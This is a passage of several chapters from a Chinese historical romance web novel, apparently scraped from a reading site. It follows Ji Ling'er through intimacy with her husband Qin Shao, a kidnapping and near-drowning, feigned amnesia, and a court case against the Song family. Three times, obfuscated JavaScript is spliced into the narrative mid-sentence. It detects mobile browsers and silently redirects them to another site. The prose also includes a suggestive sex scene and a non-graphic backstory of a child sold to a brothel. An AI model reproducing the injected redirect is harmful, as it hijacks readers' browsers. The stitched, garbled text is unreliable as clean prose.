季灵儿满意地将脸埋进他颈窝偷笑，呼吸间尽是熟悉气息，勾得她心痒痒，忍不住拿鼻尖蹭他颈侧，凑到耳畔唤：“夫君，我想......” 小姑娘羞的鼻尖都带烫意，秦劭偏问：“想什么？” 嗫喏须臾，季灵儿回身，灵巧在他唇畔舔了一下，“想这个。” 秦劭瞬时了然，诧异于她的主动求好，亦被这主动勾起心头炽焰。 “不先垫饱肚子？” 季灵儿摇头。 一炷香后。 她独坐汤泉池畔，手臂分撑两侧，堪堪支着后仰的身子，胭脂色绣海棠轻罗纱衣轻薄笼罩玲珑曲线。 没于水下的玉□□替拨动涟漪，水浪拍在秦劭早已湿透的衣襟上。 他未曾抬头，手掌自然滑到她脚踝处攥住，趁换气的工夫哄道：“乖一点。” 衣衫紧贴坚实肌肉，遒劲线条随他动作愈发凸显。 季灵儿浑身绵软，根本拗不过他的力道，红唇微张，喘息声率先溢出，“够了。” 再来一次她怕要交代在这里。 秦劭依了她，挪向池畔拿茶盏漱口。 季灵儿也端起一杯放唇边小口抿着，垂眸问：“你不是没过妾室通房么，为何会，会这些......” 不听答话，抬眼见他手肘撑着石沿看自己，唇角含着似有若无的笑意。 倒令她心更虚：“怎么不说话。” 秦劭：“你究竟想问我从何学来，还是问我可有和旁人试过？” 季灵儿心一横，道：“都问。” “在你之前，没同旁人有过分毫亲密，至于这些工夫......归功于你教得好。” “我教你？” “躬行实践乃最好的教习，你配合得好，我自是受教得快。” 他能将不正经的话说的有模有样，季灵儿自愧不如，羞恼地嗔一眼，捏起糕点兀自啃着，不再搭话。 秦劭笑了笑，跟着填一个同样的到嘴里，待咽下，道：“今日这里唯有你我，垫饱肚子后，劳驾再教些旁的？” “......” “比如这样，”秦劭饮尽杯中温酒却不咽，舌尖卷着裹住雪团，辗转融进甜香才吞下，端着虚心求教的模样抬眸问她：“喜欢吗？” “......”季灵儿通身红透，赧然别过脸，“不喜欢。” 秦劭眉棱微挑，语气轻下几分：“那我再改进。” 从金乌西斜到银盘高悬，从楼下汤泉到楼上雅室，季灵儿被某个“好学者”缠着教了不少本领。 二人在园中足足蹉跎两日，期间有丫鬟小厮来送膳清理，季灵儿或是游园，或是熟睡，不曾见到过。 第三日季灵儿终于撑不住，委婉问他：“你没正事要忙吗？” “眼下便是。” “我不——”季灵儿唇齿已被碾磨得发麻，话未说完被再度噙住，吞入腹中。 春雨趁夜色潜入，打落枝头杏花，枕云阁二楼床畔的呜咽呻吟，混着风雨与铜铃的声响，奏成婉转悦耳的春夜小调。 听众唯有一位。 ... 回秦府卧床两日，季灵儿总算恢复元气，重拾悬而未决的那桩大事。 恰好这日秦劭未出门，她给自己打足气，直奔书房寻他，推门时秦劭正阅看账目，抬眸见她，握笔的手指紧了紧。 担心自己退缩，季灵儿直接掐着门框开口：“我有事跟你说。” 秦劭放下笔，眸光微敛：“进来细说。” 季灵儿仔细关好门才走近，指尖捏着桌案一角，不敢抬眼看他，浓密长睫投下颤动的影，声音亦因紧张发颤：“我想要一份和离书。” 心跳过分剧烈，使得她无暇顾及其他，更不知此刻的秦劭，心里与她一般打鼓。 但他面上不显露，平静问：“作何用？” 这话问的好生奇怪，和离书难道还有别的用途？ 季灵儿诧异抬眼，撞上对方的审视又心虚落下，“防着你日后负我，算是攥个心安在手里。” 她反复计较过利害，坦白真相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564245|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后，秦劭能就此断了与宋家牵连，干干净净与她过日子最好。倘使他与秦家不愿认她这没身份每倚仗的媳妇，实在太被动，可她想不到能抗衡的筹码，拿到和离书，但凡秦家做的过分让她不痛快，她便拖秦宋两家的颜面闹个满城风雨，不让他们落好处。 人在心虚的时候格外爱多话遮掩，季灵儿见秦劭迟迟不应，指尖搓着桌角木纹，补充道：“我也是想给自己留个退路，防着吃亏......你口口声声说会对我好，总不忍心让我吃亏吧？” 秦劭墨眸深沉，无声凝着她，览尽刻意讨好时双眼闪烁的怯意，心里猫爪般挠着，初时搔痒，回过味渐渐觉出疼痛。 小姑娘得多么信不过他，多么不安，才想出拿一张空纸当成盾牌的法子。 舌尖抵着齿根，压下翻涌的酸涩，从堆放字画的暗格中抽出一个卷好的卷轴摊在桌上。 季灵儿倾身去看，竟是一份起草好的和离书。 “你，你什么时候写的？”她说不出是何滋味，早有准备，是早想过跟她和离吗？ 骤然间的失落没逃过秦劭眼睛，蜜罐碎片划破肌肤一般，既甜又疼。 “你第一次问我是否能和离时，我以为你后悔嫁我。” 季灵儿那时的确一心离开，张了张嘴，没说话。 秦劭鼻尖悬停，须臾流利签下名字，并将私印按在落款处，交予她。 “现在可以踏实了？” 季灵儿双手接过，盯着未干的墨迹，跟做梦似的。 夫妻和离，与婚嫁同等重要的事，她以为要周旋许久，可他轻易给了她，半句质疑没有。 “你不怕我拿了和离书离开吗？” “怕。”秦劭点头，目光略微地闪动了下，捻一抹私章底部的朱红到指腹摩挲，嗓音发涩：“但你若决心要走，有没有它我都拦不住。” 就像着抹红，如今印上了，看似越抿越糟糕，转头打盆清水一洗，便干净如初。 他眼底的暗潮季灵儿看不懂，却莫名被他指尖动作牵引，心口那点酸胀蔓延至鼻尖，抬手揉了揉，将和离书收好。 闭了闭眼，道：“有件事一直瞒你......我不是你要娶的人。” “爷，姚爷来了。”是阿吉的声音。 秦劭还想同她说话，门外接着响起另一道声音：“急事！让你家爷先别缠绵了。” 嗓音扯着，比寻常高了几度，明显是有意冲着屋里说的。 想来阿吉已提醒过对方她在里面，季灵儿怕误了秦劭的正事，只得先按下：“那我晚些时候再同你说。” 房门打开，季灵儿与急躁候在外面的人四目相对，同时愣在原地。 她尚犹豫是否开口，对方先惊叹：“季凌？你是季凌？” 被认出来，季灵儿没再遮掩，照往常模样问了声好。 “你竟然是女子！”姚怀义不可置信看她，转头问阿吉：“你说的少夫人是她？” 阿吉老实称是。 这可将姚怀义弄迷糊了，还要追问，被秦劭的提醒打断。 “晋通兄有何急事？阿吉备茶。” 姚怀义回过神，抬步迈进书房，“鲁商那起子人忒难缠，气得我啊......” 后面的话被门掩上，季灵儿没兴趣听他们墙角，回房唤上玉秀去逛街市。 57. 懊悔 书房里，姚怀义气得指爹骂娘：“往关外的商路是咱们祖上三代闯出来的，雪原的冻土里埋着先人的骨头，如今鲁商要抢这条路，真是脸皮比麂子皮还厚！” 秦劭忖着他的话，平静开口：“他们与辽南仅隔一片海，海路走通自是天然的便利，有此心思无可厚非。做生意逐利而行，关外的商户农户愿把东西转卖给鲁商，根上是咱们里头出了问题。” 关外的皮货，人参，东珠，皆是各地富商争相追捧的珍品，河东商行控制关东货南销多年，早有旁人眼红心热，鲁商下手乃早晚。 姚怀义明白其中道理，只是咽不下这口气，更揪心商行日后前程。 “先是盐业改制，后是鲁商入局，桩桩指着咱们不如别的地界占地势便利，他娘的！难不成早些年咱们靠马帮驼队开道是因为地势便利。” 秦劭客观接道：“沟通南北，算是河东府天然的地理优势。” 姚怀义：...... “好一派风雨不动安如山，不愧是大当家。” 他惯常用这话揶揄，秦劭见惯了，只道：“天下商路，本就逆水行舟，没什么值得慌的，你前头说路上遇了盗匪？” “是，回来路上遇山匪劫财，亏得我雇的全是精壮镖师，才保得货银周全，就是人伤了几个，连我胳膊上也挨一刀。”姚怀义说着撩起袖口。 他回来直奔秦府，尚未来得及往家回，胳膊是路上包扎的，血凝了一片，衣袖僵硬地贴在伤口上。 秦劭眉头一拧，立刻唤阿吉取来金疮药和干净布巾来。 姚怀义顺手一撩，没想小题大做，摆手道：“这点伤死不了人，我回去再处理。” 秦劭没由他，示意阿吉照旧，接问：“确定是山匪？” 姚怀义：“是山匪不假，但我总觉这事和鲁商那起子人脱不了干系，八成是他们勾连山匪想让我们知难而退。” 秦劭不置一词，待阿吉给姚怀义包扎完毕，才缓缓道：“鲁地的票号出问题了？” 外出行商，照常银钱会在当地票号兑付，乃落地为安，姚怀义懂规矩却冒险运银两回来，必事出有因。 “说到这个更气人，咱们在鲁地的票号本就只有一家，偏巧被官府以账目不清为由查封了，我去打听，只说临时清查，过几日就揭封子，卡节骨眼上清查，说没猫腻狗都不信！” “同时动用官匪两道，看来是铁心同我们较量一场了。”秦劭沉静的神色终于荡起波澜，一下一下拨着扳指，“我亲自去会会。” ... 季灵儿带着玉秀在布庄选料子量制新衣，又到首饰铺，让她自己挑合心意的。 玉秀惶恐地缩着手，“奴婢哪配的上挑这些。” 季灵儿：“没什么配不上的，你和秦勉的亲事已由大爷做主定下，成亲后是正经的秦家三少夫人，日后只管抬起头来做人。” 玉秀眼眶一热，哽咽地说不出话。 自出事后，人前人后哪个不嘲笑玉秀恬不知耻攀高枝，连自家小姐知晓后都气得当场甩了她一巴掌，骂她不知廉耻，季灵儿却同她说“抬起头来做人。” 而且此事能顺利，多半也因着季灵儿的缘故。 玉秀深深垂着头，一滴泪砸在手背上，千言万语磨在嗓子口，终究说不出一句。 抛开旁的不谈，玉秀能得偿所愿，季灵儿发自内心为她欢喜，见她模样以为是一时难为情，未太在意。 随后挑了支玲珑攒心海棠簪在她鬓边比看，笑道：“采买也是大爷属意，专给拨了银子办的，你尽管挑，不必为他省着......这支簪子配刚才那件藕荷色的料子很相宜，还有那对耳坠......你再挑一挑，一并包了。” 不自掏腰包还能耍阔气，季灵儿可是过足了瘾。 看时辰差不多，两人准备回府，马车行至半途，玉秀忽然撩开车帘，神色惊惶道：“那人，那人好像我家小姐！” 季灵儿探出脑袋，顺着她指的方向望去，不远处小摊前有个轻纱覆面的女子，身形侧脸与宋家小姐极为相似。 她如何会在此处？ 正好奇，那女子似察觉视线，回首张望。 季灵儿虽只见过宋芮宁两面，但近距离端详过她的模样，看到面纱未遮盖的眉眼，几乎可以断定是她。 她真的回来了。 不祥的预感掠过心头，扒在窗沿的手猛地收紧，“停车。” 马车骤停，那名女子已离了摊前，沿街前行，然后转入窄巷。 季灵儿耐不住好奇跃下马车，想跟去弄清楚，玉秀下意识拉住她袖角。 “兴许，兴许是奴婢看错了。” “那更要弄清楚了。”季灵儿眼皮跳得厉害，让她守在原地，自己快步跟上去，转眼便拐入巷口。 巷内幽深曲折，不见行人，只闻得外街传来的嘈杂和深处零星犬吠，季灵儿走过一段停下脚步，后知后觉意识到不对。 她都能认出，玉秀怎可能看错，认出来，故意告诉她，却又改口劝她......委实太矛盾。 经验告诉她此中有诈，心口突地一紧，倒退两步，转身往巷口奔去，眼见快跑出去，后脑勺传来剧痛，然后便失了意识。 ... 季灵儿再睁眼时，双手反绑于身后，全身被麻绳束缚，蜷缩裹在麻袋里，嘴巴塞着一团腥臭的布，由布条固定，喉咙干哑，全靠鼻腔喘息。 视线受阻，她凭借颠簸和车轮滚动声猜测自己身在行进的马车上。 尝试挪动，麻袋地方窄小，粗糙的纹理磨着脸颊，绳子紧得勒进皮肉，稍一挣动便火辣作痛。 她十岁孤身跟着商队进入关内，无处可去，和乞丐一起睡城隍庙，沿街讨饭时被眼尖的人贩子相中，连蒙带骗拐她去窑子，路上怕她逃，也是这么绑着的。 不过人贩子要保证货物完好，用的是布条，绑的紧但不伤皮肉，眼下......季灵儿借着昏沉的光看脚腕磨出的血痕，在心里默默叹了口气。 这次虽不知是谁绑了她，要带她去何处，但可以确定，绑她的人怨气很深，此遭恐凶多吉少。 也是，人不能总走狗屎运。 十岁的她接客头一日恰逢嫖客的妻子找来，对方见她是个女娃娃，又哭的可怜兮兮，心一软，不仅把偷腥的丈夫揪回去，还花钱赎了她，带她回去当学徒，教她识字，算账，做绣活。 季灵儿感念她大恩，拜了师父，随了对方的姓，发誓要孝敬她一辈子。 后来师父死了。 她想为师父讨回公道却不能，甚至没用到连师父的遗物都要不回来，险些随师父去了。 可上天又一次眷顾她，让她得遇好心人，捡回一条命，拿回遗物，到清心观安身，才有了后来的生活...... 命运兜转，如今又来找她追索。 季灵儿已在反复无常的磋磨里悟到乐趣，上天爱折磨人大过直接索要人命，所以一次次将她推入绝境，又施舍般留一线生机。 没到亲眼见阎王的那一刻，她不会认命。 咬紧牙关，借着车身颠簸的节奏缓缓挪动身躯，让血脉流通，也竭力贴近车厢，支起耳朵听外头动静。 车马声杂沓，冷风呼啸掠过树林，没有人语，应是出了城。 等隐约有水声传来时，马车停了。 一股强劲力量将她拖出马车，不留情地摔在地上。还好她有防备梗直了脖子，没让脑袋着地，但肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570916|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胛骨撞上硬物，痛得倒抽冷气。 吃痛声传出麻袋，有一声音唯唯诺诺问：“公子，人好像醒了。” “醒了便醒了，又跑不出来！” 接着落下的冷笑声十分熟悉，季灵儿正辨认，腰上被人踹了一脚，疼得她想骂人，可惜张不开嘴。 可恶的人话倒是多：“麻袋口绑上石头再扔！我就不信姓秦的还能再救她一次。” 季灵儿：“！” 绑石头......这是要给她往水里扔？ 麻袋收口处已有人动作，季灵儿死命挣着手腕，想把手从绳索中挣脱。 这么扔水里，她可真要见阎王了！ 绳结系的结实，皮肉磨破，麻绳反倒渗入血丝，火辣辣地疼，想挣脱是不能了。转而借力蹬腿，嗯嗯啊啊地引外头人注意。 只要放她出去，总能争取到机会。 可外面那人铁了心要他命，见她挣扎又踹两脚在她背上，恶狠狠催道：“动作快点！” 很快，裹在麻袋里的季灵儿连同石头被拖到水边，身下腾空又坠落，河水迅速灌透麻袋，冰冷包裹周身，最终冲破她的屏息涌入鼻腔，窒息感从咽喉开始，撕扯肺腑。 又一次失去意识前，两汪清泪混入河水。 季灵儿只懊悔自己贪财又贪图享乐，没早些帮师父完成心愿。若有重来，她一定不敢偷懒了！ ... 漫天阴云遮蔽月光，夜风低诉无休，更声迭换再三，鎏金香炉里残烟将烬，秦劭侧身坐在踏床上，不错眼地守着榻上昏迷的人儿。 呼吸轻得几乎察觉不到，胸口起伏微弱且断续不定，仿佛随时会断绝。 人虽被救回来，服了汤药，但郎中说尚未完全脱离危险，若天明还醒不过来，当真无力回天了。 秦劭捧起她放在被衾外的手，避开手腕包扎处，不住往上呵气，感受指尖冰凉渐渐回暖，心里期盼的火苗才不至于熄灭。 他年少随商队出关，没少在刀光和天灾里求生，称得上恐惧的，唯有初次见商队伙计断头喋血之时。 眼下不仅恐惧，还心痛，懊悔，甚至生出恨意，最折磨的，是只能空等却无能为力。 更漏声声，点滴皆是凌迟。 “灵儿，是我不该大意。”秦劭将她的手裹进掌心，轻轻抵在额头，低声喃喃。 稍一阖眸，她笑起来的模样便闯进脑海，眉眼弯弯，娇俏灵动，无论是刻意讨好，还是得意炫耀，抑或假装无辜，都暗暗藏有狡黠。 他总觉得小姑娘心思浅，藏不住的小聪明就像初春的山峦，她身在其中不察枝条抽芽，旁观者远看，一眼望尽翠绿。 认真回想，自己对她的情感何尝不是“身在其中而不察”？想不明白受人之托的照拂，自何时开始掺了私心。 时值当下，他已不敢想若她真的醒不过来会怎样。 一滴泪从眼角滑落，滴在被衾上，消失不见。 直到天边泛白，秦劭仍撑着没有合眼，心头燃烧的火苗随着探进房间的光亮加深，渐渐微弱下去，拉着他的心，一点点往深渊沉。 他不死心，起身倒一杯温水，指尖蘸着水，抹在她干裂苍白的唇上，一遍又一遍，直到水痕渗入，润出极淡的血色。 似乎感受到动作，她的唇微不可察地颤了颤。 紧接着，搁在被衾外的手指也缓缓勾动。 秦劭混沌的双眼倏然清明，屏住呼吸，又唤：“灵儿？” 被声音牵引，长睫颤轻微颤了颤，艰难掀起一道缝隙，涣散眸光慢慢聚拢，呆呆落在他脸上。 疑惑，茫然。 良久，一双大眼睛眨巴两下，唇瓣拉开小口，气若游丝：“你在唤我？” 58. 失忆 郎中把完脉，按压她脑后肿处，眉头紧锁：“少夫人脑后有瘀肿块，气血阻滞，是导致记忆障碍之因。” 几番金针刺络，又服下汤药，季灵儿靠在软枕上，一双杏眼漾着水光，怯生生地打量着榻前的秦劭，细声问道：“灵儿......是我的名字吗？” “是。” 季灵儿小声重复两遍，眉眼略微弯起，“好听......是哪个灵字呀？” 她歪了歪脑袋看过来，显出几分稚气。 秦劭望着那双懵懂眸子，默然须臾，道：“心有灵犀的灵。” 季灵儿蹙眉思忖着，眼波盈盈忽闪：“那你呢？你是何人？” “我，”秦劭顿了下，道：“是你夫君。” 话音刚落，便见小姑娘圆着一双眼，将他从头到脚细细端详，明眸写满狐疑：“可有婚书为证？” 秦劭指节收紧，眸光黯下去：“不曾立过。” “既无婚书算什么夫妻？”季灵儿倏地蜷缩至床榻深处，戒备看着他：“你定是诓我的！” 这动作深深扎在秦劭心上，干涩喉结滚出低哑：“我给你补上。” “不要！”季灵儿连连摇头，身子已退到床榻最里侧，抱住双膝，“我根本不认得你，怎知你是不是歹人......而且，而且你瞧着比我大上许多......我不喜欢这样的......” 她声音越来越小，听起来委屈极了。 ... 府中其余人给季灵儿答案一致，她是秦家大少夫人，而他，是她的夫君。 连老夫人也这么说。 “不对不对，”季灵儿摇头，抬手一指坐在旁边的秦劭，道：“他说我叫灵儿，季灵儿，可您唤我芮宁。” 老夫人被她直白的询问噎住，转看向秦劭。 秦劭温柔凝着她，哄道：“是季灵儿，不是芮宁，祖母一时说岔了。” 他如此坦然认下，老夫人眼中闪过惊澜，“宗劭！” 秦劭语气笃定道：“祖母，您先前教训的对，是孙儿糊涂，孙儿已决心拨乱反正。” 老夫人：“这并非小事。” “宋家诓骗在前，谋害性命在后，人赃并获，孙儿不会再容他们。”秦劭一席话掷地有声，堪比惊雷劈落。 他行事更雷厉，当日亲带人押着宋燚和一纸讼书直赴府衙，以蓄谋骗婚，草菅人命多项罪名控告宋家。 消息炸开，震动整个吉安和曹县。 “秦宋两家不是姻亲吗？怎么对簿公堂了？” “女婿告岳家？这下有好戏看了。” “我听说是宋家嫁女儿时找了个顶包的，嫁过去的根本不是正经小姐。” “胡说的吧！秦家何等富贵，宋家有何不愿的？” 沸沸扬扬的议论中，府衙升堂。 早前的知府因边永昌一事遭贬调，新任府尹赵大人一张国字脸，不苟言笑，只看面相便是个冷面刚正的。 听了秦劭陈述，翻阅证物，又审了宋燚和一干人证，肃声道：“你既状告宋家骗婚，替嫁的季氏亦是从犯，当传来共审。” 说罢便吩咐衙役传人。 秦劭拱手：“回大人，季氏替嫁系宋家主使，又遭宋燚谋害失了神志，过往诸事皆已不记得，恐难上堂受审，此事有郎中作证，且季氏与草民拜过天地，有夫妻之实，她所担之责，草民愿一力承担。” 赵大人传来郎中盘问，又遣人去秦府核实，确认情形属实，当场定案。 宋家未履约嫁女，欺瞒毁约属实，原备于府衙的婚书作废，勒令宋家女罚回原籍，归还秦家所聘彩礼，并以白银五百两偿秦家名誉损失。 宋燚蓄谋伤人，有车夫和小厮见证，丫鬟玉秀指证，人证物证俱在，念受害者无性命之忧，当堂枷锁收押，判处流徙三千里。 季氏女共犯亦是受害者，罚缴白银没入官库代为赎罪，以示惩戒。 惊堂木一拍，退堂的呼喝声回荡，此案就此落定，坊间喧嚣反倒愈加热烈，纷纷猜测季氏女的身份。 看秦劭在公堂上的维护，明显是培养出感情，要认做秦家少夫人，有说是穷丫头撞运，飞上枝头变凤凰，也有人猜是季氏心机，贪图秦家富贵，设局将身份坐实。 于寻常百姓而言，大宅子里的风闻，不过茶余饭后谈资，议论一番乐过笑过便散了。 与秦家生意上有往来商户却不敢只把这当作笑谈，凡聪明些的谁不知道秦宋两家联姻牵扯着官府利益，如今撕破脸闹到这份上，宋家能忍得了这口气？ 宋员外虽算不上大人物，在地方上也根基，与一方官府往来密切。若寻隙报复，明里暗里使个绊子，秦家怕是难有宁日。 秦家根基深，实力雄厚不假，却也树大招风，一旦风浪卷起，难免有潜在暗处蓄谋的对手趁势发难，一个两个出手折上秦家两条枝干。 以后的局势......说不好呐！ 牵动切身利益的事情，各家皆不敢妄动，默默观望揣测。 暗流涌动，风声鹤唳，无论是秦家还是商行，全绷紧了弦。 姚怀义劝道：“依我看，去鲁地之事暂且搁置吧，如今各方眼睛都盯着呢，你不守着商行，定有不要脸的宵小钻空子搅浑水。” 秦劭：“正因如此我才更要走这一遭，眼下各方观望，拿什么主意全看我这头立不立得住，辽南那边稳住，正好压压阵脚，商行有你和各位当家，乱不了。” 姚怀义笑：“这么信我？” “你我兄弟不分彼此，我信你便是信自己。” 秦劭极少煽情，又说的诚恳，姚怀义眼眶涌起热流，险些当场落下泪来，欣慰地拍在他肩膀上，“好兄弟！” 秦劭反按住他的手，认真道：“晋通兄，我还有一个不情之请。” 姚怀义正陷在兄弟情深里，爽快道：“你尽管说！” 秦劭：“宗勉相中内子跟前一名丫鬟，我想让她从姚家出嫁，嫁妆由秦家备，只借姚府名头走个过场，遮人耳目。” “......” 刚抒完情就避重就轻，他姚家缺的是嫁妆银子？ 姚怀义满心动容散的片渣不剩，袖子一甩备在身后，胸膛挺得倍直看秦劭，问：“说罢，想借什么名头？” 秦劭正经向他作了个揖：“你的义妹。” ... 晚间用膳时，秦劭将这一消息告知季灵儿：“晋通兄已答应让玉秀以姚家女之名出嫁，不日就可遣媒人走过场，你可以安心了。” “你费心了。”季灵儿浅应一声。 “你想做的事，我都会尽力成全。”秦劭目光温润，夹一块她爱吃的糖藕放在她碗里，“还是不愿唤我一声夫君吗？” 她垂眸盯着糖藕，有热气漫上眼底，被她眨动睫羽压下，银箸把糖藕拨到一旁，夹旁的菜送入口中，不碰它，也不说话。 秦劭:“怎么不吃，你之前不是最爱吃这个么？” “有吗？”季灵儿抿唇弯起一抹浅淡的笑，“我不记得了，反正现在不喜欢。” 秦劭神情微顿了下，方才咽下去的笋泛出一股酸苦，滚在喉咙里。 “换换口味也好......我明日便启程去鲁地，半月方归，你想吃什么买什么尽管从我账上划银子......总之照顾好自己。” “好。” 失忆的小姑娘不肯唤夫君，但夫妻身份是认的，是以安置时并未把人往外撵，两人同榻而眠，前几日秦劭顾及她不好接受，睡前一直安分守着自己的小半边地方，连个大动作的翻身都没有。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580491|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今夜思及要出远门，未分别已涌起不舍，翻腾着身体里的血气，搅乱心潮。 翻了个身，轻声唤她：“灵儿。” “嗯。”她还是背对他。 “我舍不得你，抱一会儿，可以吗？” 她没说话，骤然加重的呼吸在黑暗中格外清晰。 秦劭缓缓靠近，手臂试探搭在她腰侧，没有被抗拒，才缓缓收紧绕到身前拢着，胸膛贴上她的后背，彼此温度相融。 秦劭将呼吸埋进细白颈间，嗅着属于她的甜香，心尖发烫，又不敢再进一步，闷声道：“一定等我回来。” ... 次日季灵儿随老夫人和方淑凤出门送他，秦劭临上马车前又当着众人的面抱她，伏在耳畔说了同样的话。 晨光明亮，柔和映在小姑娘微微仰起的玉面上，杏眸一片澄澈，他轻易望到底，却看不透里面藏着怎样的情绪。 “好。”直到他转身上马车前，季灵儿开口了，“我会等你回来。” 马车远去，季灵儿陪着老夫人和方淑凤回正院说话。 正是其他三房进来请安的时候，二夫人与寻常一样，笑着关怀她两句，三夫人松口应了玉秀之事的同时，心里的刺也实实在在扎根了，看见她鼻子不是鼻子眼不是眼的，瞪两眼都嫌恶。 如今秦家皆知她不是宋芮宁，微词颇多，但老夫人和秦劭压着，尚没人敢拿到面上议论。 姚氏倒是逮住机会出气：“原还好奇，宋家到底是大户，养出来的女儿怎会不懂礼数，合着是个冒牌的，往后府里多这么个——” 季灵儿没由她说，迎着目光顶回去：“懂不懂礼数和身份无关，关键看对谁，对没规矩的人讲礼，岂不成了对牛弹琴。” “好了，还嫌此事闹得不够大么！”老夫人眼风凌厉扫过姚氏，“秦家大少夫人自始至终只有一人，就是灵儿，身份不身份的不许再提，无论主子奴才，再有管不住嘴的，一律重罚不贷。” 姚氏心里不服不敢顶嘴，低头应是。 老夫人再看各揣心事的一家人，失了说话的兴致，挥手叫散。 季灵儿回到院子，将唤玉秀到跟前，没留其他人。 “我落水之日，究竟发生了什么？” 此事玉秀已禀过一次，遂照着原来的话重复：“奴婢跟着您去巷子，见您被人打晕绑走，赶紧回来通知大爷，车夫偷偷跟去着绑架您的人，沿途留了记号，大爷循着记号追上，才将您救下。” 季灵儿没打断，等她说完才重新问：“我为何会被打晕？” 玉秀仓惶抬眼，试图辨认她问话用意“您......” 季灵儿直接了当道：“是你故意引我去巷子？” 猜测被证实，玉秀惶恐道：“您都记起来了？” 不仅记起来，还猜到是她在搞鬼。 季灵儿勾唇笑了下，“我从未失忆。” 玉秀脸色煞白，扑通一声在她跟前跪下，“奴婢对不起您。” 季灵儿：“我并非问责，只是不明白，你既联合宋家兄妹害我，为何还给秦劭报信？” “奴婢身契在宋家，不得不听命于他们。可奴婢心里始终记着您待我的恩情，不能看着您出事......可您还是险些丢了性命，奴婢对不住您，愿意听凭发落。” “你马上也是秦家少夫人了，我能如何发落你。”季灵儿嗤笑一声，“如今一闹，身契应当拿回来了吧？” “是......” “成，身契既已拿回，往后好自为之。” “少夫人。”玉秀膝行两步，还欲再陈情认错。 人哪有不自私的，为自己筹谋没什么错处，季灵儿不怨她，但也不想多说，摆手道：“出去吧，这两日会有人接你去姚家。” 59. 打算 “慢着。” 玉秀抹泪退到门口，闻声停步。 季灵儿：“有一事，你务必如实回答我。” 她裹在麻袋里时听到宋燚说“我就不信秦劭还能再救她一次”，没顾上细想，醒来后见到秦劭再品味，不由生出许多怀疑。 为了印证，她故意问秦劭自己是谁，亦确认了，他口中唤的是灵儿，并非凌儿。 自扮男装拜师之日，她一直用季凌的名字，知晓本名的，除了庵中人，梁家，便是宋芮宁主仆。 季灵儿心生猜测，但为唬玉秀说实话，坚定了语气，质问：“秦劭知道我不是宋芮宁，可是你向他泄露的？” “奴婢绝不敢多嘴，”玉秀拼命摇头。 “那他如何得知？” 季灵儿怕再有诓骗，多追问一句诈她，怎料玉秀犹豫片刻，似下了极大决心才开口：“大爷很早就知晓您的身份。” 在季灵儿追问下，玉秀将秦劭去清心庵接人前的情形详细道来。 “大爷那时并未明说，奴婢仅是猜测，不敢多言，直到前段时日小姐见过大爷，回来找奴婢问责才敢确定......大爷的确很早便知您并非小姐。” 季灵儿愣住了，思绪乱成一团。 很早便知......有多早？ ... 汇通票号的鎏金牌匾下，两个伙计正踩着高凳，用裹了红布的长杆一下下擦拭灰尘。 擦净的匾额在灿烂日光下格外刺目，季灵儿站在街心，仰头望着，恍惚看见从前的自己穿着粗布衣裳，踮脚擦拭的身影。 爬高上低的活原本不轮她，那日她执意包揽，只因是师父倾尽心血挽救票号后的重新开张，她高兴，替师父高兴。 伙计从高凳上下来，扭身看见她，打量她一身金银如意云纹缎裳，鬓间珠翠，腰间玉佩皆非俗品，端着笑上前招呼。 “客官可是要存兑银钱？里面请。” 伙计是个嫩面孔，约莫十二三岁，和她在此当学徒时差不多大，季灵儿心下感慨，含笑道：“我找你们掌柜。” 闻听有位衣着富贵的年轻貌美夫人请见，梁守正揣着疑惑快步迎出来，富态面容上笑容还未绽全便僵住。 “是你。” 季灵儿没想到，做足心理建设，再见到这张脸，心仍会狠狠抽搐，愤恨与恐惧皆有，咬紧牙根压下，维持唇边浅淡笑意。 “梁掌柜，别来无恙啊。” “你来做什么？”梁守正直了腰背，如从前一样冷眼看她。 “几年不见，来看看你，”季灵儿说，“看你是否还好好活着。” 梁守正阴沉脸哼一声，叫人送客。 季灵儿笑着打断他：“别着急呐，实话跟你说，是我日后要回曹县经营了，少不了和咱们票号来往，实在担心您早早去泉下给师父赔罪，所以特来瞧瞧。” 梁守正不由紧张：“做何生意？” “眼下尚未定，”季灵儿观察他神情，问：“我是很想回咱们票号的，不知掌柜能否收容？” “本号庙小，容不下大佛。” “掌柜这是哪里话，当年在楼里若非你瞧上我，我如今还不知在何处讨生活呢，汇通票号就是我的家，早晚要回来的。” 看似轻描淡写带过的“当年”，不仅是自揭伤疤，更是梁守正的屈辱过往。 当年梁守正寻花问柳不算，还起了禽兽心思，要尝十岁少女滋味，被妻子当场找上门，闹得人尽皆知，半年不敢出家门。 梁守正脸色数变，狰狞地瞪着她：“你想都别想！” 